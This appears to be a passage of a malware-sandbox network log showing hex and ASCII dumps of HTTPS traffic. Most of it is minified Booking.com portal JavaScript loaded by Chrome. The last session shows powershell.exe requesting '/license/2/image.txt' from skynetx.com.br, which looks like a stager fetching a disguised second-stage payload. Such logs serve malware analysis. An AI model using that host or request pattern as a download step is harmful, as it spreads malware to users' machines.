6c 61 62 65 6c 22 29 2c 22 6c 61 73 74 22 3d 3d 3d 74 3f 28 6c 3d 64 6f 63 75 Data Ascii: e("tabindex","0"),i.setAttribute(o,""),i.style.height="1px",i.style.opacity="0",r&&i.setAttribute("aria-label",r),e.insertAdjacentElement("beforebegin",i),e.setAttribute("id",n),e.removeAttribute("title"),e.removeAttribute("aria-label"),"last"===t?(l=docu
2024-11-02 13:00:08 UTC	15535	IN	Data Raw: 29 2c 28 6e 7c 7c 43 29 26 26 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 73 2e 74 65 78 74 7d 2c 6e 7c 7c 43 29 2c 49 28 22 65 6e 64 22 29 29 7d 29 29 3b 63 2e 41 6c 69 67 6e 65 72 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 63 68 69 6c 64 72 65 6e 3a 74 2c 61 6c 69 67 6e 6d 65 6e 74 3a 6e 2c 63 6c 61 73 73 4e 61 6d 65 3a 61 7d 3d 65 3b 6c 65 74 20 69 3d 5b 5d 3b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 69 3d 5b 73 5b 60 72 6f 6f 74 2d 2d 61 6c 69 67 6e 6d 65 6e 74 2d 24 7b 6e 7d 60 5d 5d 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 26 26 28 69 3d 6e 2e 6d 61 70 28 28 65 3d 3e 73 5b 60 72 6f 6f 74 2d 2d 61 6c 69 67 6e 6d 65 6e 74 2d 24 7b 65 7d 60 5d 29 29 29 3b 63 6f 6e 73 74 20 6c 3d Data Ascii: ),(n\|\|C)&&r.createElement("span",{className:s.text},n\|\|C),I("end"))}));c.Aligner=e=>{const{children:t,alignment:n,className:a}=e;let i=[];"string"==typeof n?i=[s[`root--alignment-${n}`]]:Array.isArray(n)&&(i=n.map((e=>s[`root--alignment-${e}`])));const l=
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 6e 29 2c 64 26 26 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6c 2e 41 2e 49 74 65 6d 2c 6e 75 6c 6c 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 69 2e 41 2e 41 6c 69 67 6e 65 72 2c 7b 61 6c 69 67 6e 6d 65 6e 74 3a 5b 22 62 6f 74 74 6f 6d 22 2c 22 65 6e 64 22 5d 7d 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 69 2e 41 2c 7b 2e 2e 2e 64 2c 76 61 72 69 61 6e 74 3a 22 74 65 72 74 69 61 72 79 22 7d 29 29 29 29 29 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 75 2e 41 2c 7b 72 65 66 3a 74 7d 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 7b 2e 2e 2e 6b 2c 22 61 72 69 61 2d 6c 61 62 65 6c 22 3a 79 2c 72 6f 6c 65 3a 22 72 65 67 69 6f 6e 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 53 7d 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 Data Ascii: n),d&&r.createElement(l.A.Item,null,r.createElement(i.A.Aligner,{alignment:["bottom","end"]},r.createElement(i.A,{...d,variant:"tertiary"}))))),r.createElement(u.A,{ref:t},r.createElement("div",{...k,"aria-label":y,role:"region",className:S},r.createEleme
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 72 6f 6f 74 2d 2d 6e 6f 74 2d 61 6e 69 6d 61 74 65 64 22 3a 22 44 6a 63 33 76 78 74 64 64 68 32 6c 69 4a 32 43 32 6d 4d 54 22 7d 2c 63 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 74 6f 74 61 6c 3a 74 2c 61 63 74 69 76 65 49 6e 64 65 78 3a 6e 3d 30 2c 76 61 72 69 61 6e 74 3a 63 3d 22 70 72 69 6d 61 72 79 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 66 2c 61 74 74 72 69 62 75 74 65 73 3a 64 2c 6d 69 78 69 6e 3a 70 7d 3d 65 2c 6d 3d 6f 2e 75 73 65 43 61 6c 6c 62 61 63 6b 28 28 28 29 3d 3e 74 3c 3d 37 29 2c 5b 74 5d 29 2c 68 3d 6f 2e 75 73 65 43 61 6c 6c 62 61 63 6b 28 28 28 29 3d 3e 6d 28 29 7c 7c 6e 3c 3d 33 3f 30 3a 6e 3e 3d 74 2d 31 2d 33 3f 74 2d 37 3a 6e 2d 33 29 2c 5b 6e 2c 6d 2c 74 5d 29 2c 76 3d 6f 2e 75 73 65 52 65 66 28 6e 75 6c 6c 29 2c 5b 67 2c 79 5d 3d 6f 2e 75 73 Data Ascii: root--not-animated":"Djc3vxtddh2liJ2C2mMT"},c=e=>{const{total:t,activeIndex:n=0,variant:c="primary",className:f,attributes:d,mixin:p}=e,m=o.useCallback((()=>t<=7),[t]),h=o.useCallback((()=>m()\|\|n<=3?0:n>=t-1-3?t-7:n-3),[n,m,t]),v=o.useRef(null),[g,y]=o.us
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 2c 64 2e 48 65 61 64 69 6e 67 3d 65 3d 3e 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 63 2c 7b 2e 2e 2e 65 2c 74 61 67 4e 61 6d 65 3a 22 74 68 22 7d 29 2c 64 2e 52 6f 77 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 61 63 74 69 76 65 3a 74 2c 63 68 69 6c 64 72 65 6e 3a 6e 2c 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3a 6c 2c 63 6f 6c 6c 61 70 73 65 64 43 6f 6e 74 65 6e 74 3a 63 2c 6f 6e 45 78 70 61 6e 64 54 6f 67 67 6c 65 3a 64 2c 65 78 70 61 6e 64 54 6f 67 67 6c 65 41 72 69 61 4c 61 62 65 6c 3a 70 2c 65 78 70 61 6e 64 65 64 3a 6d 2c 64 65 66 61 75 6c 74 45 78 70 61 6e 64 65 64 3a 68 2c 61 74 74 72 69 62 75 74 65 73 3a 76 7d 3d 65 2c 5b 67 2c 79 5d 3d 72 2e 75 73 65 53 74 61 74 65 28 6d 3f 3f 68 3f 3f 21 31 29 2c 62 3d 28 30 2c 69 2e 78 57 29 28 73 2e 72 6f 77 2c 74 Data Ascii: ,d.Heading=e=>r.createElement(c,{...e,tagName:"th"}),d.Row=e=>{const{active:t,children:n,verticalAlign:l,collapsedContent:c,onExpandToggle:d,expandToggleAriaLabel:p,expanded:m,defaultExpanded:h,attributes:v}=e,[g,y]=r.useState(m??h??!1),b=(0,i.xW)(s.row,t
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 48 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 2c 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 7d 7d 29 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 2c 6f 3d 6e 28 36 31 30 30 34 29 2c 61 3d 6e 28 35 39 36 37 39 29 2c 69 3d 6e 28 36 35 36 33 31 29 3b 63 6f 6e 73 74 20 6c 3d 72 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 7b 6e 61 76 69 67 61 74 65 3a 28 29 3d 3e 7b 7d 2c 6e 61 76 69 67 61 74 65 42 61 63 6b 3a 28 29 3d 3e 7b 7d 2c 6e 61 76 69 67 61 74 65 46 6f 72 77 61 72 64 3a 28 29 3d 3e 7b 7d 2c 73 65 74 53 6c 69 64 65 72 53 74 61 74 65 3a 28 29 3d 3e 7b 7d 2c 73 63 72 6f 6c 6c 56 61 6c 75 65 3a 30 2c 69 Data Ascii: 8:function(e,t,n){"use strict";n.d(t,{H:function(){return s},A:function(){return w}});var r=n(96540),o=n(61004),a=n(59679),i=n(65631);const l=r.createContext({navigate:()=>{},navigateBack:()=>{},navigateForward:()=>{},setSliderState:()=>{},scrollValue:0,i
2024-11-02 13:00:08 UTC	541	IN	Data Raw: 33 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 7d 7d 29 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 2c 6f 3d 4e 75 6d 62 65 72 2e 69 73 4e 61 4e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 21 3d 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 2e 6c 65 6e 67 74 68 21 3d 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 21 28 28 72 3d 65 5b 6e 5d 29 3d 3d 3d 28 61 3d 74 5b 6e 5d 29 7c 7c 6f 28 72 29 26 26 6f 28 61 29 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 72 2c 61 3b 72 65 74 75 72 6e 21 30 7d 76 61 72 20 69 3d 6e 28 34 31 34 36 29 2c 6c 3d Data Ascii: 3:function(){return _}});var r=n(96540),o=Number.isNaN\|\|function(e){return"number"==typeof e&&e!=e};function a(e,t){if(e.length!==t.length)return!1;for(var n=0;n<e.length;n++)if(!((r=e[n])===(a=t[n])\|\|o(r)&&o(a)))return!1;var r,a;return!0}var i=n(4146),l=
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 6c 61 73 73 20 65 78 74 65 6e 64 73 20 76 61 6c 75 65 20 22 2b 53 74 72 69 6e 67 28 74 29 2b 22 20 69 73 20 6e 6f 74 20 61 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 6f 72 20 6e 75 6c 6c 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 63 28 65 2c 74 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 74 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 29 3a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6e 29 7d 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e Data Ascii: w new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}c(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var d=function(){return d=Object.assign\|\|function(e){for(var t,n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49726	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	570	OUT	GET /psb/accountsportal/assets/704_e7ede50c1fdac354671b.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:08 UTC	727	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 172505 Connection: close Date: Fri, 01 Nov 2024 23:27:16 GMT Last-Modified: Fri, 01 Nov 2024 17:50:37 GMT ETag: "7fac7ac7d44509631d451ff395c84ec8" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: tHoD3g7Kos0mfDtFS932JrJOYRy8QOCa Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 e030504e72fa75d92c1856a58b964932.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: qum-Vc8TfE2Cuj9KNaw9TEQfS4-gEQk4PAslOv9WdJbh4DYwvlWrBw== Age: 48773 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 37 30 34 5f 65 37 65 64 65 35 30 63 31 66 64 61 63 33 35 34 36 37 31 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 30 34 5d 2c 7b 34 39 31 35 38 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 64 29 7b 76 61 72 20 6e Data Ascii: /! For license information please see 704_e7ede50c1fdac354671b.js.LICENSE.txt /"use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[704],{49158:function(t,e,d){var n
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 74 2e 73 75 63 63 65 73 73 2c 4c 3d 74 2e 68 65 6c 70 65 72 2c 4d 3d 74 2e 73 69 7a 65 2c 78 3d 76 6f 69 64 20 30 3d 3d 3d 4d 3f 22 6d 65 64 69 75 6d 22 3a 4d 2c 6b 3d 74 2e 6d 61 78 69 6d 75 6d 4c 65 6e 67 74 68 2c 6a 3d 74 2e 73 68 6f 77 4c 65 6e 67 74 68 43 6f 75 6e 74 65 72 2c 46 3d 74 2e 63 6c 65 61 72 42 75 74 74 6f 6e 56 69 73 69 62 69 6c 69 74 79 2c 55 3d 76 6f 69 64 20 30 3d 3d 3d 46 3f 22 6e 65 76 65 72 22 3a 46 2c 7a 3d 74 2e 72 65 71 75 69 72 65 64 2c 47 3d 74 2e 62 6f 72 64 65 72 65 64 2c 42 3d 76 6f 69 64 20 30 3d 3d 3d 47 7c 7c 47 2c 56 3d 74 2e 65 6e 64 53 6c 6f 74 2c 51 3d 6e 2e 63 72 65 61 74 65 52 65 66 28 29 2c 48 3d 6e 2e 63 72 65 61 74 65 52 65 66 28 29 2c 57 3d 28 6e 75 6c 6c 3d 3d 50 3f 76 6f 69 64 20 30 3a 50 2e 72 65 66 29 7c 7c Data Ascii: t.success,L=t.helper,M=t.size,x=void 0===M?"medium":M,k=t.maximumLength,j=t.showLengthCounter,F=t.clearButtonVisibility,U=void 0===F?"never":F,z=t.required,G=t.bordered,B=void 0===G\|\|G,V=t.endSlot,Q=n.createRef(),H=n.createRef(),W=(null==P?void 0:P.ref)\|\|
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 66 28 6e 29 7b 76 61 72 20 72 3d 6e 2e 70 72 65 76 49 64 2c 6f 3d 72 26 26 74 68 69 73 2e 67 65 74 28 72 29 2c 69 3d 6e 2e 6e 65 78 74 49 64 2c 61 3d 69 26 26 74 68 69 73 2e 67 65 74 28 69 29 3b 6f 26 26 28 6f 2e 6e 65 78 74 49 64 3d 6e 75 6c 6c 21 3d 3d 28 65 3d 6e 2e 6e 65 78 74 49 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 65 3f 65 3a 6e 75 6c 6c 29 2c 61 26 26 28 61 2e 70 72 65 76 49 64 3d 6e 75 6c 6c 21 3d 3d 28 64 3d 6e 2e 70 72 65 76 49 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 64 3f 64 3a 6e 75 6c 6c 29 2c 69 7c 7c 28 74 68 69 73 2e 74 61 69 6c 49 64 3d 6e 75 6c 6c 21 3d 72 3f 72 3a 6e 75 6c 6c 29 3b 76 61 72 20 24 3d 74 68 69 73 2e 67 65 74 28 74 29 3b 72 65 74 75 72 6e 20 64 65 6c 65 74 65 20 74 68 69 73 2e 69 74 65 6d 73 5b 74 5d 2c 24 7d 7d 2c 74 2e Data Ascii: f(n){var r=n.prevId,o=r&&this.get(r),i=n.nextId,a=i&&this.get(i);o&&(o.nextId=null!==(e=n.nextId)&&void 0!==e?e:null),a&&(a.prevId=null!==(d=n.prevId)&&void 0!==d?d:null),i\|\|(this.tailId=null!=r?r:null);var $=this.get(t);return delete this.items[t],$}},t.
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 6f 72 74 22 2c 74 2e 54 4f 4f 5f 4c 4f 4e 47 3d 22 74 6f 6f 5f 6c 6f 6e 67 22 2c 74 2e 43 4f 55 4e 54 52 59 5f 43 4f 44 45 5f 49 4e 56 41 4c 49 44 3d 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 5f 69 6e 76 61 6c 69 64 22 7d 28 6e 7c 7c 28 6e 3d 7b 7d 29 29 7d 2c 33 33 30 35 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 64 29 7b 64 2e 64 28 65 2c 7b 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 7d 7d 29 3b 76 61 72 20 6e 3d 64 28 37 35 38 30 37 29 2c 72 3d 64 28 38 35 31 31 34 29 2c 6f 3d 64 28 38 36 32 35 39 29 2c 69 3d 5b 7b 6d 65 74 68 6f 64 3a 72 2e 50 2e 52 45 51 55 49 52 45 44 2c 6d 65 73 73 61 67 65 3a 6f 2e 42 2e 52 45 51 55 49 52 45 44 7d 5d 2c 61 3d 64 28 37 39 33 37 30 29 2c 24 3d 64 28 36 34 33 35 33 29 2c 75 3d 64 28 35 35 36 34 38 Data Ascii: ort",t.TOO_LONG="too_long",t.COUNTRY_CODE_INVALID="country_code_invalid"}(n\|\|(n={}))},33055:function(t,e,d){d.d(e,{A:function(){return b}});var n=d(75807),r=d(85114),o=d(86259),i=[{method:r.P.REQUIRED,message:o.B.REQUIRED}],a=d(79370),$=d(64353),u=d(55648
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 65 73 7d 7d 2c 7b 6b 65 79 3a 22 63 68 6f 6f 73 65 43 6f 75 6e 74 72 79 42 79 43 6f 75 6e 74 72 79 43 61 6c 6c 69 6e 67 43 6f 64 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 65 6c 65 63 74 4e 75 6d 62 65 72 69 6e 67 50 6c 61 6e 28 74 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 73 53 65 6c 65 63 74 65 64 4e 75 6d 62 65 72 69 6e 67 50 6c 61 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 6e 75 6d 62 65 72 69 6e 67 50 6c 61 6e 7d 7d 5d 29 2c 74 7d 28 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 64 29 7b 6f 28 74 68 69 73 2c 74 29 2c 74 68 69 73 2e 67 6c 6f 62 61 6c 4d 65 74 61 64 61 74 61 4f 62 6a Data Ascii: es}},{key:"chooseCountryByCountryCallingCode",value:function(t){return this.selectNumberingPlan(t)}},{key:"hasSelectedNumberingPlan",value:function(){return void 0!==this.numberingPlan}}]),t}(),l=function(){function t(e,d){o(this,t),this.globalMetadataObj
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 75 2e 41 79 28 74 68 69 73 2e 6d 65 74 61 64 61 74 61 29 2e 69 73 4e 6f 6e 47 65 6f 67 72 61 70 68 69 63 43 61 6c 6c 69 6e 67 43 6f 64 65 28 74 68 69 73 2e 63 6f 75 6e 74 72 79 43 61 6c 6c 69 6e 67 43 6f 64 65 29 7d 7d 2c 7b 6b 65 79 3a 22 69 73 45 71 75 61 6c 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6e 75 6d 62 65 72 3d 3d 3d 74 2e 6e 75 6d 62 65 72 26 26 74 68 69 73 2e 65 78 74 3d 3d 3d 74 2e 65 78 74 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 54 79 70 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 28 74 68 69 73 2c 7b 76 32 3a 21 30 7d 2c 74 68 69 73 2e 6d 65 74 61 64 61 74 61 29 7d 7d 2c 7b 6b 65 Data Ascii: e:function(){return new u.Ay(this.metadata).isNonGeographicCallingCode(this.countryCallingCode)}},{key:"isEqual",value:function(t){return this.number===t.number&&this.ext===t.ext}},{key:"getType",value:function(){return w(this,{v2:!0},this.metadata)}},{ke
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 2d 33 36 2d 38 5d 29 7c 35 28 3f 3a 31 7c 32 5b 31 32 34 35 5d 7c 33 5b 32 33 37 5d 3f 7c 34 5b 31 2d 34 36 2d 39 5d 7c 36 5b 32 2d 34 5d 7c 37 5b 31 2d 36 5d 7c 38 5b 32 2d 35 5d 3f 29 7c 36 5b 32 34 5d 7c 37 28 3f 3a 5b 30 36 39 5d 7c 31 5b 31 35 36 38 5d 7c 32 5b 31 35 5d 7c 33 5b 31 34 35 5d 7c 34 5b 31 33 5d 7c 35 5b 31 34 2d 38 5d 7c 37 5b 32 2d 35 37 5d 7c 38 5b 31 32 36 5d 29 7c 38 28 3f 3a 5b 30 31 5d 7c 32 5b 31 35 2d 37 5d 7c 33 5b 32 35 37 38 5d 3f 7c 34 5b 31 33 2d 36 5d 7c 35 5b 34 2d 38 5d 3f 7c 36 5b 31 2d 33 35 37 2d 39 5d 7c 37 5b 33 36 2d 38 5d 3f 7c 38 5b 35 2d 38 5d 3f 7c 39 5b 31 32 34 5d 29 29 29 31 35 29 3f 22 2c 22 39 24 31 22 5d 2c 41 53 3a 5b 22 31 22 2c 22 30 31 31 22 2c 22 28 3f 3a 5b 35 38 5d 5c 5c 64 5c 5c 64 7c 36 38 34 7c Data Ascii: -36-8])\|5(?:1\|2[1245]\|3[237]?\|4[1-46-9]\|6[2-4]\|7[1-6]\|8[2-5]?)\|6[24]\|7(?:[069]\|1[1568]\|2[15]\|3[145]\|4[13]\|5[14-8]\|7[2-57]\|8[126])\|8(?:[01]\|2[15-7]\|3[2578]?\|4[13-6]\|5[4-8]?\|6[1-357-9]\|7[36-8]?\|8[5-8]?\|9[124])))15)?","9$1"],AS:["1","011","(?:[58]\\d\\d\|684\|
2024-11-02 13:00:08 UTC	7377	IN	Data Raw: 20 24 32 22 2c 5b 22 31 38 5b 36 38 5d 22 5d 2c 22 30 24 31 22 5d 2c 5b 22 28 5c 5c 64 7b 35 7d 29 28 5c 5c 64 7b 36 7d 29 22 2c 22 24 31 20 24 32 22 2c 5b 22 31 35 5b 30 35 36 38 5d 22 5d 2c 22 30 24 31 22 5d 2c 5b 22 28 5c 5c 64 7b 34 7d 29 28 5c 5c 64 7b 37 7d 29 22 2c 22 24 31 20 24 32 22 2c 5b 22 31 35 5b 31 32 37 39 5d 22 5d 2c 22 30 24 31 22 5d 2c 5b 22 28 5c 5c 64 7b 33 7d 29 28 5c 5c 64 7b 38 7d 29 22 2c 22 24 31 20 24 32 22 2c 5b 22 31 38 22 5d 2c 22 30 24 31 22 5d 2c 5b 22 28 5c 5c 64 7b 33 7d 29 28 5c 5c 64 7b 32 7d 29 28 5c 5c 64 7b 37 2c 38 7d 29 22 2c 22 24 31 20 24 32 20 24 33 22 2c 5b 22 31 28 3f 3a 36 5b 30 32 33 5d 7c 37 29 22 5d 2c 22 30 24 31 22 5d 2c 5b 22 28 5c 5c 64 7b 34 7d 29 28 5c 5c 64 7b 32 7d 29 28 5c 5c 64 7b 37 7d 29 22 2c Data Ascii: $2",["18[68]"],"0$1"],["(\\d{5})(\\d{6})","$1 $2",["15[0568]"],"0$1"],["(\\d{4})(\\d{7})","$1 $2",["15[1279]"],"0$1"],["(\\d{3})(\\d{8})","$1 $2",["18"],"0$1"],["(\\d{3})(\\d{2})(\\d{7,8})","$1 $2 $3",["1(?:6[023]\|7)"],"0$1"],["(\\d{4})(\\d{2})(\\d{7})",
2024-11-02 13:00:08 UTC	7972	IN	Data Raw: 35 7d 29 22 2c 22 24 31 20 24 32 22 2c 5b 22 38 22 5d 2c 22 30 24 31 22 5d 2c 5b 22 28 5c 5c 64 7b 32 7d 29 28 5c 5c 64 7b 33 7d 29 28 5c 5c 64 7b 34 7d 29 22 2c 22 24 31 20 24 32 20 24 33 22 2c 5b 22 5b 32 33 35 5d 22 5d 2c 22 30 24 31 22 5d 5d 2c 22 30 22 5d 2c 47 49 3a 5b 22 33 35 30 22 2c 22 30 30 22 2c 22 28 3f 3a 5b 32 35 5d 5c 5c 64 5c 5c 64 7c 36 30 36 29 5c 5c 64 7b 35 7d 22 2c 5b 38 5d 2c 5b 5b 22 28 5c 5c 64 7b 33 7d 29 28 5c 5c 64 7b 35 7d 29 22 2c 22 24 31 20 24 32 22 2c 5b 22 32 22 5d 5d 5d 5d 2c 47 4c 3a 5b 22 32 39 39 22 2c 22 30 30 22 2c 22 28 3f 3a 31 39 7c 5b 32 2d 36 38 39 5d 5c 5c 64 7c 37 30 29 5c 5c 64 7b 34 7d 22 2c 5b 36 5d 2c 5b 5b 22 28 5c 5c 64 7b 32 7d 29 28 5c 5c 64 7b 32 7d 29 28 5c 5c 64 7b 32 7d 29 22 2c 22 24 31 20 24 32 Data Ascii: 5})","$1 $2",["8"],"0$1"],["(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[235]"],"0$1"]],"0"],GI:["350","00","(?:[25]\\d\\d\|606)\\d{5}",[8],[["(\\d{3})(\\d{5})","$1 $2",["2"]]]],GL:["299","00","(?:19\|[2-689]\\d\|70)\\d{4}",[6],[["(\\d{2})(\\d{2})(\\d{2})","$1 $2
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 22 2c 22 24 31 20 24 32 20 24 33 22 2c 5b 22 31 28 3f 3a 36 7c 38 5b 30 36 5d 29 22 2c 22 31 28 3f 3a 36 7c 38 5b 30 36 5d 30 29 22 5d 2c 30 2c 31 5d 2c 5b 22 28 5c 5c 64 7b 34 7d 29 28 5c 5c 64 7b 33 7d 29 28 5c 5c 64 7b 33 7d 29 28 5c 5c 64 7b 33 7d 29 22 2c 22 24 31 20 24 32 20 24 33 20 24 34 22 2c 5b 22 31 38 22 5d 2c 30 2c 31 5d 5d 2c 22 30 22 5d 2c 49 4f 3a 5b 22 32 34 36 22 2c 22 30 30 22 2c 22 33 5c 5c 64 7b 36 7d 22 2c 5b 37 5d 2c 5b 5b 22 28 5c 5c 64 7b 33 7d 29 28 5c 5c 64 7b 34 7d 29 22 2c 22 24 31 20 24 32 22 2c 5b 22 33 22 5d 5d 5d 5d 2c 49 51 3a 5b 22 39 36 34 22 2c 22 30 30 22 2c 22 28 3f 3a 31 7c 37 5c 5c 64 5c 5c 64 29 5c 5c 64 7b 37 7d 7c 5b 32 2d 36 5d 5c 5c 64 7b 37 2c 38 7d 22 2c 5b 38 2c 39 2c 31 30 5d 2c 5b 5b 22 28 5c 5c 64 29 28 Data Ascii: ","$1 $2 $3",["1(?:6\|8[06])","1(?:6\|8[06]0)"],0,1],["(\\d{4})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["18"],0,1]],"0"],IO:["246","00","3\\d{6}",[7],[["(\\d{3})(\\d{4})","$1 $2",["3"]]]],IQ:["964","00","(?:1\|7\\d\\d)\\d{7}\|[2-6]\\d{7,8}",[8,9,10],[["(\\d)(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49725	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	178	OUT	GET /license/2/image.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br Connection: Keep-Alive
